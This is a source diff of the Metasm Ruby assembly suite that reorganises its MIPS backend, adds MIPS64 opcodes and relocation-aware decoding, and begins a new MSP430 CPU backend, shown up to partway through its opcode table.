diff --git a/lib/metasm/metasm/mips/compile_c.rb b/lib/metasm/metasm/cpu/mips/compile_c.rb
similarity index 86%
rename from lib/metasm/metasm/mips/compile_c.rb
rename to lib/metasm/metasm/cpu/mips/compile_c.rb
index 15a53ccbde..a92e397ecc 100644
--- a/lib/metasm/metasm/mips/compile_c.rb
+++ b/lib/metasm/metasm/cpu/mips/compile_c.rb
@@ -3,5 +3,5 @@
 #
 #    Licence is LGPL, see LICENCE in the top-level directory
 
-require 'metasm/mips/parse'
+require 'metasm/cpu/mips/parse'
 require 'metasm/compile_c'
diff --git a/lib/metasm/metasm/cpu/mips/debug.rb b/lib/metasm/metasm/cpu/mips/debug.rb
new file mode 100644
index 0000000000..05e39c0b02
--- /dev/null
+++ b/lib/metasm/metasm/cpu/mips/debug.rb
@@ -0,0 +1,42 @@
+#    This file is part of Metasm, the Ruby assembly manipulation suite
+#    Copyright (C) 2006-2009 Yoann GUILLOT
+#
+#    Licence is LGPL, see LICENCE in the top-level directory
+
+
+require 'metasm/main'
+
+module Metasm
+class MIPS
+  def dbg_register_pc
+    @dbg_register_pc ||= :pc
+  end
+  def dbg_register_flags
+    @dbg_register_flags ||= :flags
+  end
+
+  def dbg_register_list
+    @dbg_register_list ||= %w[z0 at v0 v1 a0 a1 a2 a3
+          t0 t1 t2 t3 t4 t5 t6 t7
+          s0 s1 s2 s3 s4 s5 s6 s7
+          t8 t9 k0 k1 gp sp fp ra
+          sr mullo mulhi badva cause pc].map { |r| r.to_sym }
+  end
+
+  def dbg_flag_list
+    @dbg_flag_list ||= []
+  end
+
+  def dbg_register_size
+    @dbg_register_size ||= Hash.new(@size)
+  end
+
+  def dbg_need_stepover(dbg, addr, di)
+    di and di.opcode.props[:saveip]
+  end
+
+  def dbg_end_stepout(dbg, addr, di)
+    di and di.opcode.name == 'foobar'	# TODO
+  end
+end
+end
diff --git a/lib/metasm/metasm/mips/decode.rb b/lib/metasm/metasm/cpu/mips/decode.rb
similarity index 81%
rename from lib/metasm/metasm/mips/decode.rb
rename to lib/metasm/metasm/cpu/mips/decode.rb
index ca5de98205..6b61555bbb 100644
--- a/lib/metasm/metasm/mips/decode.rb
+++ b/lib/metasm/metasm/cpu/mips/decode.rb
@@ -4,7 +4,7 @@
 #    Licence is LGPL, see LICENCE in the top-level directory
 
 
-require 'metasm/mips/opcodes'
+require 'metasm/cpu/mips/opcodes'
 require 'metasm/decode'
 
 module Metasm
@@ -35,28 +35,45 @@ class MIPS
   end
 
   def decode_findopcode(edata)
-    return if edata.ptr >= edata.data.length
-    # TODO handle relocations !!
     di = DecodedInstruction.new(self)
     val = edata.decode_imm(:u32, @endianness)
     edata.ptr -= 4
-    di if di.opcode = @bin_lookaside[val >> 24].find { |op|
-      (op.bin & op.bin_mask) == (val & op.bin_mask)
-    }
+    if val.kind_of?(Expression)
+      # relocations
+      hval = Expression[val, :&, 0xff000000].reduce
+      if hval.kind_of?(Expression)
+        # reloc_i26
+        if hval.kind_of?(Expression) and pat = hval.match(Expression[['a', :&, 0x300_0000], :|, 'b'], 'a', 'b')
+          hval = pat['b']
+        end
+      end
+      di if di.opcode = @bin_lookaside[hval >> 24].find { |op|
+        (op.bin & op.bin_mask) == Expression[val, :&, op.bin_mask].reduce
+      }
+    else
+      di if di.opcode = @bin_lookaside[val >> 24].find { |op|
+        (op.bin & op.bin_mask) == (val & op.bin_mask)
+      }
+    end
   end
 
   def decode_instr_op(edata, di)
-    # TODO handle relocations !!
     before_ptr = edata.ptr
     op = di.opcode
     di.instruction.opname = op.name
     val = edata.decode_imm(:u32, @endianness)
 
     field_val = lambda { |f|
-      r = (val >> @fields_shift[f]) & @fields_mask[f]
-      # XXX do that cleanly (Expr.decode_imm)
+      if val.kind_of?(Expression)
+        r = Expression[[val, :>>, @fields_shift[f]], :&, @fields_mask[f]].reduce
+      else
+        r = (val >> @fields_shift[f]) & @fields_mask[f]
+      end
+
+      next r if r.kind_of?(Expression)
       case f
-      when :sa, :i16, :it; r = Expression.make_signed(r, 16)
+      when :msbd; r += 1
+      when :i16; r = Expression.make_signed(r, 16)
       when :i20; r = Expression.make_signed(r, 20)
       when :i26; r = Expression.make_signed(r, 26)
       else r
@@ -66,15 +83,23 @@ class MIPS
     op.args.each { |a|
       di.instruction.args << case a
       when :rs, :rt, :rd; Reg.new field_val[a]
-      when :sa, :i16, :i20, :i26, :it; Expression[field_val[a]]
-      when :rs_i16; Memref.new Reg.new(field_val[:rs]), Expression[field_val[:i16]]
+      when :sa, :i16, :i20, :i26, :it, :msbd, :sel, :idb; Expression[field_val[a]]
+      when :rs_i16
+        len = 32
+        len = 64 if op.props[:m64]
+        len = 16 if op.props[:mi16] or op.props[:mu16]
+        len = 8  if op.props[:mi8 ] or op.props[:mu8]
+        Memref.new Reg.new(field_val[:rs]), Expression[field_val[:i16]], len
       when :ft; FpReg.new field_val[a]
-      when :idm1, :idb; Expression['unsupported']
+      when :idm1; Expression['unsupported']
       else raise SyntaxError, "Internal error: invalid argument #{a} in #{op.name}"
       end
     }
+
     di.bin_length += edata.ptr - before_ptr
 
+    return false if edata.ptr > edata.length
+
     di
   end
 
@@ -86,7 +111,13 @@ class MIPS
     if di.opcode.props[:setip] and di.instruction.args.last.kind_of? Expression and di.opcode.name[0] != ?t
       delta = Expression[di.instruction.args.last, :<<, 2].reduce
       if di.opcode.args.include? :i26
-        arg = Expression[[[addr, :+, di.bin_length], :&, 0xfc00_0000], :+, delta].reduce
+        # absolute jump in the 0x3ff_ffff region surrounding next_pc
+        if delta.kind_of? Expression and delta.op == :& and delta.rexpr == 0x3ff_fffc
+          # relocated arg: assume the linker mapped so that instr&target are in the same region
+          arg = Expression[delta.lexpr].reduce
+        else
+          arg = Expression[[[addr, :+, di.bin_length], :&, 0xfc00_0000], :+, delta].reduce
+        end
       else
         arg = Expression[[addr, :+, di.bin_length], :+, delta].reduce
       end
@@ -112,7 +143,7 @@ class MIPS
         { :$ra => Expression[Expression[di.address, :+, 2*di.bin_length].reduce] }
       }
       when 'nop', 'j', 'jr', /^b/; lambda { |di, *a| {} }
-      when 'lui'; lambda { |di, a0, a1| { a0 => Expression[a1, :<<, 16] } }
+      when 'lui'; lambda { |di, a0, a1| { a0 => Expression[[a1, :&, 0xffff], :<<, 16] } }
       when 'add', 'addu', 'addi', 'addiu'; lambda { |di, a0, a1, a2| { a0 => Expression[a1, :+, a2] } }	# XXX addiu $sp, -40h should be addiu $sp, 0xffc0 from the books, but..
       when 'sub', 'subu'; lambda { |di, a0, a1, a2| { a0 => Expression[a1, :-, a2] } }
       when 'slt', 'slti'; lambda { |di, a0, a1, a2| { a0 => Expression[a1, :<, a2] } }
diff --git a/lib/metasm/metasm/mips/encode.rb b/lib/metasm/metasm/cpu/mips/encode.rb
similarity index 86%
rename from lib/metasm/metasm/mips/encode.rb
rename to lib/metasm/metasm/cpu/mips/encode.rb
index 7025bc5cb8..23df0694ff 100644
--- a/lib/metasm/metasm/mips/encode.rb
+++ b/lib/metasm/metasm/cpu/mips/encode.rb
@@ -4,7 +4,7 @@
 #    Licence is LGPL, see LICENCE in the top-level directory
 
 
-require 'metasm/mips/opcodes'
+require 'metasm/cpu/mips/opcodes'
 require 'metasm/encode'
 
 module Metasm
@@ -40,12 +40,13 @@ class MIPS
       when :rs_i16
         set_field[:rs, arg.base.i]
         val, mask, shift = arg.offset, @fields_mask[:i16], @fields_shift[:i16]
-      when :sa, :i16, :i20, :i26
+      when :sa, :i16, :i20, :i26, :it, :msbd, :sel, :idb
         val, mask, shift = arg, @fields_mask[sym], @fields_shift[sym]
+        val = Expression[val, :-, 1] if sym == :msbd
       end
     }
 
-    Expression[base, :+, [[val, :&, mask], :<<, shift]].encode(:u32, @endianness) << postdata
+    Expression[base, :|, [[val, :&, mask], :<<, shift]].encode(:u32, @endianness) << postdata
   end
 end
 end
diff --git a/lib/metasm/metasm/mips/main.rb b/lib/metasm/metasm/cpu/mips/main.rb
similarity index 83%
rename from lib/metasm/metasm/mips/main.rb
rename to lib/metasm/metasm/cpu/mips/main.rb
index 1f04ed8d4a..f1dc5311cc 100644
--- a/lib/metasm/metasm/mips/main.rb
+++ b/lib/metasm/metasm/cpu/mips/main.rb
@@ -43,16 +43,16 @@ class MIPS < CPU
   end
 
   class Memref
-    attr_accessor :base, :offset
-    def initialize(base, offset)
-      @base, @offset = base, offset
+    attr_accessor :base, :offset, :sz
+    def initialize(base, offset, sz=32)
+      @base, @offset, @sz = base, offset, sz
     end
 
     def symbolic(orig)
       p = nil
       p = Expression[p, :+, @base.symbolic] if base
       p = Expression[p, :+, @offset] if offset
-      Indirection[p.reduce, 4, orig]
+      Indirection[p.reduce, @sz/8, orig]
     end
   end
 
@@ -68,5 +68,12 @@ class MIPS < CPU
     @opcode_list
   end
 end
+
+class MIPS64 < MIPS
+  def initialize(endianness = :big, family = :latest)
+    super(endianness, family)
+    @size = 64
+  end
+end
 end
 
diff --git a/lib/metasm/metasm/mips/opcodes.rb b/lib/metasm/metasm/cpu/mips/opcodes.rb
similarity index 83%
rename from lib/metasm/metasm/mips/opcodes.rb
rename to lib/metasm/metasm/cpu/mips/opcodes.rb
index 4b0015ea7f..a447304425 100644
--- a/lib/metasm/metasm/mips/opcodes.rb
+++ b/lib/metasm/metasm/cpu/mips/opcodes.rb
@@ -4,7 +4,7 @@
 #    Licence is LGPL, see LICENCE in the top-level directory
 
 
-require 'metasm/mips/main'
+require 'metasm/cpu/mips/main'
 
 # TODO coprocessors, floating point, 64bits, thumb mode
 
@@ -13,8 +13,10 @@ module Metasm
 class MIPS
   def addop(name, bin, *args)
     o = Opcode.new name, bin
-    o.args.concat(args & @fields_mask.keys)
-    (args & @valid_props).each { |p| o.props[p] = true }
+    args.each { |a|
+      o.args << a if @fields_mask[a]
+      o.props[a] = true if @valid_props[a]
+    }
     @opcode_list << o
   end
 
@@ -45,10 +47,11 @@ class MIPS
     @opcode_list = []
     @fields_mask.update :rs => 0x1f, :rt => 0x1f, :rd => 0x1f, :sa => 0x1f,
       :i16 => 0xffff, :i26 => 0x3ffffff, :rs_i16 => 0x3e0ffff, :it => 0x1f,
-      :ft => 0x1f, :idm1 => 0x1f, :idb => 0x1f, :sel => 7, :i20 => 0xfffff #, :i32 => 0
+      :ft => 0x1f, :idm1 => 0x1f, :idb => 0x1f, :sel => 7, :i20 => 0xfffff
     @fields_shift.update :rs => 21, :rt => 16, :rd => 11, :sa => 6,
       :i16 => 0, :i26 => 0, :rs_i16 => 0, :it => 16,
-      :ft => 16, :idm1 => 11, :idb => 11, :sel => 0, :i20 => 6 #, :i32 => 0
+      :ft => 16, :idm1 => 11, :idb => 11, :sel => 0, :i20 => 6
+    @valid_props.update :mi8 => true, :mu8 => true, :mi16 => true, :mu16 => true
 
     init_mips32_obsolete
     init_mips32_reserved
@@ -58,12 +61,11 @@ class MIPS
 
     addop 'mov',  0b001000 << 26, :rt, :rs			# rt <- rs+0
     addop 'addi', 0b001000 << 26, :rt, :rs, :i16		# add		rt <- rs+i
-    addop 'li',   0b001001 << 26, :rt, :i16			# add $0	# XXX liu ?
+    addop 'li',   0b001001 << 26, :rt, :i16			# addiu rt <- zero+i
     addop 'addiu',0b001001 << 26, :rt, :rs, :i16		# add unsigned
     addop 'slti', 0b001010 << 26, :rt, :rs, :i16		# set on less than
     addop 'sltiu',0b001011 << 26, :rt, :rs, :i16		# set on less than unsigned
     addop 'andi', 0b001100 << 26, :rt, :rs, :i16		# and
-    addop 'li',   0b001101 << 26, :rt, :i16			# or $0
     addop 'ori',  0b001101 << 26, :rt, :rs, :i16		# or
     addop 'xori', 0b001110 << 26, :rt, :rs, :i16		# xor
     addop 'lui',  0b001111 << 26, :rt, :i16			# load upper
@@ -80,16 +82,16 @@ class MIPS
     addop 'blez', 0b000110 << 26, :rs, :i16, :setip		# <= 0
     addop 'bgtz', 0b000111 << 26, :rs, :i16, :setip		# > 0
 
-    addop 'lb',   0b100000 << 26, :rt, :rs_i16		# load byte	rs <- [rt+i]
-    addop 'lh',   0b100001 << 26, :rt, :rs_i16		# load halfword
+    addop 'lb',   0b100000 << 26, :rt, :rs_i16, :mi8	# load byte	rs <- [rt+i]
+    addop 'lh',   0b100001 << 26, :rt, :rs_i16, :mi16	# load halfword
     addop 'lwl',  0b100010 << 26, :rt, :rs_i16		# load word left
     addop 'lw',   0b100011 << 26, :rt, :rs_i16		# load word
-    addop 'lbu',  0b100100 << 26, :rt, :rs_i16		# load byte unsigned
-    addop 'lhu',  0b100101 << 26, :rt, :rs_i16		# load halfword unsigned
+    addop 'lbu',  0b100100 << 26, :rt, :rs_i16, :mu8	# load byte unsigned
+    addop 'lhu',  0b100101 << 26, :rt, :rs_i16, :mu16	# load halfword unsigned
     addop 'lwr',  0b100110 << 26, :rt, :rs_i16		# load word right
 
-    addop 'sb',   0b101000 << 26, :rt, :rs_i16		# store byte
-    addop 'sh',   0b101001 << 26, :rt, :rs_i16		# store halfword
+    addop 'sb',   0b101000 << 26, :rt, :rs_i16, :mi8	# store byte
+    addop 'sh',   0b101001 << 26, :rt, :rs_i16, :mi16	# store halfword
     addop 'swl',  0b101010 << 26, :rt, :rs_i16		# store word left
     addop 'sw',   0b101011 << 26, :rt, :rs_i16		# store word
     addop 'swr',  0b101110 << 26, :rt, :rs_i16		# store word right
@@ -195,10 +197,10 @@ class MIPS
 
 
     # cp0
-    addop 'mfc0', (0b010000<<26) | (0b00000<<21), :rt, :rd
-    addop 'mfc0', (0b010000<<26) | (0b00000<<21), :rt, :rd, :sel
-    addop 'mtc0', (0b010000<<26) | (0b00100<<21), :rt, :rd
-    addop 'mtc0', (0b010000<<26) | (0b00100<<21), :rt, :rd, :sel
+    addop 'mfc0', (0b010000<<26) | (0b00000<<21), :rt, :idb
+    addop 'mfc0', (0b010000<<26) | (0b00000<<21), :rt, :idb, :sel
+    addop 'mtc0', (0b010000<<26) | (0b00100<<21), :rt, :idb
+    addop 'mtc0', (0b010000<<26) | (0b00100<<21), :rt, :idb, :sel
 
     addop 'tlbr', (0b010000<<26) | (1<<25) | 0b000001
     addop 'tlbwi',(0b010000<<26) | (1<<25) | 0b000010
@@ -235,6 +237,73 @@ class MIPS
   end
   alias init_latest init_mips32r2
 end
+
+class MIPS64
+  def init_mips64
+    init_mips32r2
+    @valid_props.update :mi64 => true
+
+    addop 'ld',     0b110111 << 26, :rt, :rs_i16, :m64
+    addop 'lwu',    0b100111 << 26, :rt, :rs_i16
+    addop 'sd',     0b111111 << 26, :rt, :rs_i16, :m64
+    addop 'scd',    0b111100 << 26, :rt, :rs_i16, :m64
+    addop 'ldl',    0b011010 << 26, :rt, :rs_i16
+    addop 'ldr',    0b011011 << 26, :rt, :rs_i16
+    addop 'sdl',    0b101100 << 26, :rt, :rs_i16
+    addop 'sdr',    0b101101 << 26, :rt, :rs_i16
+    addop 'lld',    0b110100 << 26, :rt, :rs_i16
+    addop 'daddi',  0b011000 << 26, :rt, :rs, :i16
+    addop 'daddiu', 0b011001 << 26, :rt, :rs, :i16
+
+    addop 'dclo',  (0b011100 << 26) | (0b100101), :rd, :rt, :rs
+    addop 'dclz',  (0b011100 << 26) | (0b100100), :rd, :rt, :rs
+
+    addop 'dadd',   0b101100, :rd, :rs, :rt
+    addop 'daddu',  0b101101, :rd, :rs, :rt
+    addop 'dsub',   0b101110, :rd, :rs, :rt
+    addop 'dsubu',  0b101111, :rd, :rs, :rt
+    addop 'dsll',   0b111000, :rd, :rt, :sa
+    addop 'dsll32', 0b111100, :rd, :rt, :sa
+    addop 'dsllv',  0b010100, :rd, :rt, :rs
+    addop 'dsra',   0b111011, :rd, :rt, :sa
+    addop 'dsra32', 0b111111, :rd, :rt, :sa
+    addop 'dsrav',  0b010111, :rd, :rt, :rs
+    addop 'dsrl',   0b111010, :rd, :rt, :sa
+    addop 'dsrl32', 0b111110, :rd, :rt, :sa
+    addop 'dsrlv',  0b010110, :rd, :rt, :rs
+    addop 'ddiv',   0b011110, :rs, :rt
+    addop 'ddivu',  0b011111, :rs, :rt
+    addop 'dmult',  0b011100, :rs, :rt
+    addop 'dmultu', 0b011101, :rs, :rt
+
+    addop 'dmfc0', (0b010000<<26) | (0b00001<<21), :rt, :idb
+    addop 'dmfc0', (0b010000<<26) | (0b00001<<21), :rt, :idb, :sel
+    addop 'dmtc0', (0b010000<<26) | (0b00101<<21), :rt, :idb
+    addop 'dmtc0', (0b010000<<26) | (0b00101<<21), :rt, :idb, :sel
+  end
+
+  def init_mips64r2
+    init_mips64
+    @fields_mask.update :msbd => 0x1f
+    @fields_shift.update :msbd => 11
+
+    addop 'dext',  (0b011111 << 26) | 0b000011, :rt, :rs, :sa, :msbd	# sa => lsb
+    addop 'dextm', (0b011111 << 26) | 0b000001, :rt, :rs, :sa, :msbd
+    addop 'dextu', (0b011111 << 26) | 0b000010, :rt, :rs, :sa, :msbd
+    addop 'dins',  (0b011111 << 26) | 0b000111, :rt, :rs, :sa, :msbd
+    addop 'dinsm', (0b011111 << 26) | 0b000101, :rt, :rs, :sa, :msbd
+    addop 'dinsu', (0b011111 << 26) | 0b000110, :rt, :rs, :sa, :msbd
+
+    addop 'drotr',   (1 << 21) | 0b111010, :rd, :rt, :sa
+    addop 'drotr32', (1 << 21) | 0b111110, :rd, :rt, :sa
+    addop 'drotrv',  (1 <<  6) | 0b010110, :rd, :rt, :rs
+
+    addop 'dsbh', (0b011111 << 26) | (0b00010 << 6) | 0b100100, :rd, :rt
+    addop 'dshd', (0b011111 << 26) | (0b00101 << 6) | 0b100100, :rd, :rt
+  end
+
+  alias init_latest init_mips64r2
+end
 end
 __END__
   def macro_addop_cop1(name, bin, *aprops)
diff --git a/lib/metasm/metasm/mips/parse.rb b/lib/metasm/metasm/cpu/mips/parse.rb
similarity index 98%
rename from lib/metasm/metasm/mips/parse.rb
rename to lib/metasm/metasm/cpu/mips/parse.rb
index 239c93b7d9..e7daeac27b 100644
--- a/lib/metasm/metasm/mips/parse.rb
+++ b/lib/metasm/metasm/cpu/mips/parse.rb
@@ -4,7 +4,7 @@
 #    Licence is LGPL, see LICENCE in the top-level directory
 
 
-require 'metasm/mips/opcodes'
+require 'metasm/cpu/mips/opcodes'
 require 'metasm/parse'
 
 module Metasm
diff --git a/lib/metasm/metasm/mips/render.rb b/lib/metasm/metasm/cpu/mips/render.rb
similarity index 96%
rename from lib/metasm/metasm/mips/render.rb
rename to lib/metasm/metasm/cpu/mips/render.rb
index eb37ddc5f2..31ad15a331 100644
--- a/lib/metasm/metasm/mips/render.rb
+++ b/lib/metasm/metasm/cpu/mips/render.rb
@@ -4,7 +4,7 @@
 #    Licence is LGPL, see LICENCE in the top-level directory
 
 
-require 'metasm/mips/opcodes'
+require 'metasm/cpu/mips/opcodes'
 require 'metasm/render'
 
 module Metasm
diff --git a/lib/metasm/metasm/dalvik.rb b/lib/metasm/metasm/cpu/msp430.rb
similarity index 85%
rename from lib/metasm/metasm/dalvik.rb
rename to lib/metasm/metasm/cpu/msp430.rb
index 4efa34fc07..78e89bcd8d 100644
--- a/lib/metasm/metasm/dalvik.rb
+++ b/lib/metasm/metasm/cpu/msp430.rb
@@ -5,4 +5,4 @@
 
 
 require 'metasm/main'
-require 'metasm/dalvik/decode'
+require 'metasm/cpu/msp430/decode'
diff --git a/lib/metasm/metasm/cpu/msp430/decode.rb b/lib/metasm/metasm/cpu/msp430/decode.rb
new file mode 100644
index 0000000000..2eb694243d
--- /dev/null
+++ b/lib/metasm/metasm/cpu/msp430/decode.rb
@@ -0,0 +1,247 @@
+#    This file is part of Metasm, the Ruby assembly manipulation suite
+#    Copyright (C) 2006-2010 Yoann GUILLOT
+#
+#    Licence is LGPL, see LICENCE in the top-level directory
+
+require 'metasm/cpu/msp430/opcodes'
+require 'metasm/decode'
+
+module Metasm
+class MSP430
+  def build_opcode_bin_mask(op)
+    op.bin_mask = 0
+    op.fields.each_key { |f|
+      op.bin_mask |= @fields_mask[f] << @fields_shift[f]
+    }
+    op.bin_mask ^= 0xffff
+  end
+
+  def build_bin_lookaside
+    lookaside = Array.new(256) { [] }
+    opcode_list.each { |op|
+      build_opcode_bin_mask op
+      b   = (op.bin >> 8) & 255
+      msk = (op.bin_mask >> 8) & 255
+
+      for i in b..(b | (255^msk))
+        lookaside[i] << op if i & msk == b & msk
+      end
+    }
+    lookaside
+  end
+
+  def decode_findopcode(edata)
+    di = DecodedInstruction.new(self)
+    val = edata.decode_imm(:u16, @endianness)
+    edata.ptr -= 2
+    di.opcode = @bin_lookaside[(val >> 8) & 0xff].find { |opcode| (val & opcode.bin_mask) == opcode.bin }
+    di if di.opcode
+  end
+
+  def decode_instr_op(edata, di)
+    before_ptr = edata.ptr
+    op = di.opcode
+    di.instruction.opname = op.name
+    val = edata.decode_imm(:u16, @endianness)
+
+    field_val = lambda{ |f|
+      (val >> @fields_shift[f]) & @fields_mask[f]
+    }
+
+    # must decode rs first
+    vals = {}
+    ([:rs, :rd, :r_pc] & op.args).each { |a|
+      mod = { :rs => :as, :rd => :ad, :r_pc => :ad }[a]
+      mod = :as if mod == :ad and not op.fields[mod]	# addop_macro1 -> rs + ad
+
+      if a == :r_pc
+        r = Reg.new(0)
+      else
+        r = Reg.new(field_val[a])
+      end
+
+      w = op.props[:byte] ? 1 : 2
+
+      case field_val[mod]
+      when 0
+        if r.i == 3 and a == :rs
+          vals[a] = Expression[0]
+        else
+          vals[a] = r
+        end
+      when 1
+        if r.i == 3 and a == :rs
+          vals[a] = Expression[1]
+        else
+          imm = edata.decode_imm(:u16, @endianness)
+          r = nil if r.i == 2	# [imm]
+          vals[a] = Memref.new(r, imm, w)
+        end
+      when 2
+        if r.i == 3
+          vals[a] = Expression[2]
+        elsif r.i == 2
+          vals[a] = Expression[4]
+        else
+          vals[a] = Memref.new(r, 0, w)
+        end
+      when 3
+        if r.i == 3
+          vals[a] = Expression[-1]
+        elsif r.i == 2
+          vals[a] = Expression[8]
+        elsif r.i == 0 # pc++
+          # XXX order wrt other edata.decode_imm ?
+          vals[a] = Expression[edata.decode_imm(:u16, @endianness)]
+        else
+          vals[a] = Memref.new(r, 0, w, true)
+        end
+      end
+    }
+
+    op.args.each { |a|
+      di.instruction.args << case a
+      when :joff; Expression[2 * Expression.make_signed(field_val[a], 10)]
+      when :rs, :rd, :r_pc; vals[a]
+      else raise SyntaxError, "Internal error: invalid argument #{a} in #{op.name}"
+      end
+    }
+
+    di.bin_length += edata.ptr - before_ptr
+
+    return if edata.ptr > edata.length
+
+    di
+  end
+
+  def decode_instr_interpret(di, addr)
+    if di.opcode.props[:setip] and di.opcode.name =~ /^j/
+      delta = di.instruction.args.last.reduce
+      arg = Expression[[addr, :+, di.bin_length], :+, delta].reduce
+      di.instruction.args[-1] = Expression[arg]
+    end
+
+    di
+  end
+
+  def backtrace_binding
+    @backtrace_binding ||= init_backtrace_binding
+  end
+
+  def init_backtrace_binding
+    @backtrace_binding ||= {}
+
+    opcode_list.map { |ol| ol.name }.uniq.each { |op|
+      @backtrace_binding[op] ||= case op
+      when 'mov'; lambda { |di, a0, a1| { a0 => Expression[a1] }}
+      when 'cmp', 'test'; lambda { |di, *a| {} }	# TODO
+      when 'add', 'adc' ; lambda { |di, a0, a1| { a0 => Expression[a0, :+, a1] } }
+      when 'sub', 'sbc';  lambda { |di, a0, a1| { a0 => Expression[a0, :-, a1] } }
+      when 'and'; lambda { |di, a0, a1| { a0 => Expression[a0, :&, a1] } }
+      when 'or';  lambda { |di, a0, a1| { a0 => Expression[a0, :|, a1] } }
+      when 'xor'; lambda { |di, a0, a1| { a0 => Expression[a0, :^, a1] } }
+      when 'push'; lambda { |di, a0| { Indirection[:sp, 2] => Expression[a0],
+               :sp => Expression[:sp, :-, 2] } }
+      when 'call'; lambda { |di, a0| { Indirection[:sp, 2] => Expression[di.next_addr],
+               :sp => Expression[:sp, :-, 2] } }
+      when 'pop';  lambda { |di, a0| { a0 => Expression[Indirection[:sp, 2]],
+               :sp => Expression[:sp, :+, 2] } }
+      when 'ret';  lambda { |di| { :sp => Expression[:sp, :+, 2] } }
+      when 'reti'; lambda { |di| { :sp => Expression[:sp, :+, 4] } }
+      when /^j/; lambda { |di, a0| {} }
+      end
+    }
+
+    @backtrace_binding
+  end
+
+  def get_backtrace_binding(di)
+    a = di.instruction.args.map { |arg|
+      case arg
+      when Reg; arg.symbolic
+      when Memref; arg.symbolic(di.address)
+      else arg
+      end
+    }
+
+    if binding = backtrace_binding[di.opcode.basename]
+      bd = binding[di, *a] || {}
+      di.instruction.args.grep(Memref).each { |m|
+        next unless r = m.base and m.postincr
+        r = m.base.symbolic
+        bd[r] ||= Expression[r, :+, m.size]
+      }
+      bd
+    else
+      puts "unhandled instruction to backtrace: #{di}" if $VERBOSE
+      { :incomplete_binding => Expression[1] }
+    end
+  end
+
+  def get_xrefs_x(dasm, di)
+    return [] if not di.opcode.props[:setip]
+
+    case di.instruction.opname
+    when 'ret'
+      return [Indirection[:sp, 2, di.address]]
+    when 'reti'
+      return [Indirection[[:sp, :+, 2], 2, di.address]]
+    end
+
+    # XXX add pc, 42 ?
+    val = di.instruction.args[0]
+    case val
+    when Reg; val = val.symbolic
+    when Memref; val = val.symbolic(di.address)
+    end
+
+    [Expression[val]]
+  end
+
+  def backtrace_is_function_return(expr, di=nil)
+    expr = Expression[expr].reduce_rec
+    expr.kind_of?(Indirection) and expr.len == 2 and expr.target == Expression[:sp]
+  end
+
+  # updates the function backtrace_binding
+  # if the function is big and no specific register is given, do nothing (the binding will be lazily updated later, on demand)
+  def backtrace_update_function_binding(dasm, faddr, f, retaddrlist, *wantregs)
+    b = f.backtrace_binding
+
+    bt_val = lambda { |r|
+      next if not retaddrlist
+      b[r] = Expression::Unknown
+      bt = []
+      retaddrlist.each { |retaddr|
+        bt |= dasm.backtrace(Expression[r], retaddr, :include_start => true,
+               :snapshot_addr => faddr, :origin => retaddr)
+      }
+      if bt.length != 1
+        b[r] = Expression::Unknown
+      else
+        b[r] = bt.first
+      end
+    }
+
+    if not wantregs.empty?
+      wantregs.each(&bt_val)
+    else
+      bt_val[:sp]
+    end
+
+    b
+  end
+
+  def replace_instr_arg_immediate(i, old, new)
+    i.args.map! { |a|
+      case a
+      when Expression; a == old ? new : Expression[a.bind(old => new).reduce]
+      when Memref
+        a.base = (a.base == old ? new : Expression[a.base.bind(old => new).reduce]) if a.base.kind_of?(Expression)
+        a
+      else a
+      end
+    }
+  end
+end
+end
diff --git a/lib/metasm/metasm/cpu/msp430/main.rb b/lib/metasm/metasm/cpu/msp430/main.rb
new file mode 100644
index 0000000000..fba9fa6689
--- /dev/null
+++ b/lib/metasm/metasm/cpu/msp430/main.rb
@@ -0,0 +1,62 @@
+#    This file is part of Metasm, the Ruby assembly manipulation suite
+#    Copyright (C) 2006-2010 Yoann GUILLOT
+#
+#    Licence is LGPL, see LICENCE in the top-level directory
+
+require 'metasm/main'
+
+module Metasm
+
+class MSP430 < CPU
+  def initialize(e = :little)
+    super()
+    @endianness = e
+    @size = 16
+  end
+
+  class Reg
+    include Renderable
+    Sym = (4..15).inject(0 => :pc, 1 => :sp, 2 => :flags, 3 => :rzero) { |h, i| h.update i => "r#{i}".to_sym }
+
+    attr_accessor :i
+    def initialize(i) ; @i = i end
+    def symbolic ; Sym[@i] end
+    def render ; [Sym[@i].to_s] end
+    def ==(o) ; o.class == self.class and o.i == @i end
+  end
+
+  class Memref
+    attr_accessor :base, :offset, :size, :postincr
+
+    def initialize(base, offset = 0, size = nil, postincr = false)
+      @base = base
+      @offset = Expression[offset]
+      @size = size
+      @postincr = postincr
+    end
+
+    def symbolic(orig=nil)
+      r = @base.symbolic if @base
+      e = Expression[r, :+, @offset].reduce
+      Indirection[e, (@size || 1), orig]
+    end
+
+    include Renderable
+
+    def render
+      b = @base
+      b = @base.to_s + '++' if @base and @postincr
+      p = Expression[b, :+, @offset].reduce
+      Indirection[p, @size].render
+    end
+  end
+
+  def init_opcode_list
+    init
+  end
+
+  def dbg_register_list
+    @dbg_register_list ||= Reg::Sym.sort.transpose.last
+  end
+end
+end
diff --git a/lib/metasm/metasm/cpu/msp430/opcodes.rb b/lib/metasm/metasm/cpu/msp430/opcodes.rb
new file mode 100644
index 0000000000..a8825db93e
--- /dev/null
+++ b/lib/metasm/metasm/cpu/msp430/opcodes.rb
@@ -0,0 +1,101 @@
+#    This file is part of Metasm, the Ruby assembly manipulation suite
+#    Copyright (C) 2006-2010 Yoann GUILLOT
+#
+#    Licence is LGPL, see LICENCE in the top-level directory
+
+require 'metasm/cpu/msp430/main'
+
+module Metasm
+class MSP430
+  def addop(name, bin, *args)
+    o = Opcode.new name, bin
+
+    args.each { |a|
+      o.args << a if @valid_args[a]
+      o.props[a] = true if @valid_props[a]
+      o.fields[a] = [@fields_mask[a], @fields_shift[a]] if @fields_mask[a]
+    }
+
+    @opcode_list << o
+  end
+
+  def init
+    @opcode_list = []
+
+    @fields_mask = {
+      :as => 3,	# adressing mode
+      :ad => 1,	# adressing mode
+      :rd => 0xf,
+      :rs => 0xf,
+      :joff => 0x3ff,	# signed offset for jumps
+    }
+    @fields_shift = {
+      :as => 4,
+      :ad => 7,
+      :rd => 0,
+      :rs => 8,
+      :joff => 0,
+    }
+    @valid_args = { :r_pc => true, :rd => true, :rs => true, :joff => true }
+    @valid_props = { :setip => true, :stopexec => true, :saveip => true, :byte => true }
+
+    # https://en.wikipedia.org/wiki/TI_MSP430
+
+    addop_macro1 'rrc',  0, :byte
+    addop_macro1 'swpb', 1
+    addop_macro1 'rra',  2, :byte
+    addop_macro1 'sxt',  3
+    addop_macro1 'push', 4, :byte
+    addop_macro1 'call', 5, :setip, :stopexec, :saveip
+
+    addop 'reti', 0b000100_110_0000000
+
